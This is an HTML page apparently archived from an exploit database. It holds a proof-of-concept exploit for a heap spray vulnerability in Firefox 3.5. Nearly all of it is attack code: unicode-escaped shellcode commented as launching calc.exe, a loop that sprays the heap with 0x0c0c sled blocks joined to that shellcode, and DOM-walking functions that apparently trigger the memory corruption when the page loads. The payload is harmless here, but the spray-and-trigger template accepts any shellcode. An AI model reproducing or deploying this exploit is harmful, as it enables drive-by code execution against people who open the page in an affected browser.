106 lines
No EOL
3 KiB
HTML
106 lines
No EOL
3 KiB
HTML
<html>
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<head>
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<title>Firefox 3.5 Vulnerability</title>
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Firefox 3.5 Heap Spray Vulnerabilty
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</br>
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Author: SBerry aka Simon Berry-Byrne
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</br>
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Thanks to HD Moore for the insight and Metasploit for the payload
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<div id="content">
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<p>
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<FONT>
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</FONT>
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</p>
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<p>
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<FONT>Loremipsumdoloregkuw</FONT></p>
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<p>
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<FONT>Loremipsumdoloregkuwiert</FONT>
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</p>
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<p>
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<FONT>Loremikdkw </FONT>
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</p>
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</div>
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<script language=JavaScript>
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/* Calc.exe */
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var shellcode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
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"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
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"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
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"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
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"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
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"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
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"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
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"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
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"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
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"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
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"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
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"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
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"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
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"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
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"%u652E%u6578%u9000");
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/* Heap Spray Code */
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oneblock = unescape("%u0c0c%u0c0c");
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var fullblock = oneblock;
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while (fullblock.length<0x60000)
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{
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fullblock += fullblock;
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}
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sprayContainer = new Array();
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for (i=0; i<600; i++)
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{
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sprayContainer[i] = fullblock + shellcode;
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}
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var searchArray = new Array()
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function escapeData(data)
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{
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var i;
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var c;
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var escData='';
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for(i=0;i<data.length;i++)
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{
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c=data.charAt(i);
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if(c=='&' || c=='?' || c=='=' || c=='%' || c==' ') c = escape(c);
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escData+=c;
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}
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return escData;
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}
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function DataTranslator(){
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searchArray = new Array();
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searchArray[0] = new Array();
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searchArray[0]["str"] = "blah";
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var newElement = document.getElementById("content")
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if (document.getElementsByTagName) {
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var i=0;
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pTags = newElement.getElementsByTagName("p")
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if (pTags.length > 0)
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while (i<pTags.length)
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{
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oTags = pTags[i].getElementsByTagName("font")
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searchArray[i+1] = new Array()
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if (oTags[0])
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{
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searchArray[i+1]["str"] = oTags[0].innerHTML;
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}
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i++
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}
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}
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}
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function GenerateHTML()
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{
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var html = "";
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for (i=1;i<searchArray.length;i++)
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{
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html += escapeData(searchArray[i]["str"])
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}
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}
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DataTranslator();
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GenerateHTML()
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</script>
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</body>
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</html>
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<html><body></body></html>
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# milw0rm.com [2009-07-13] |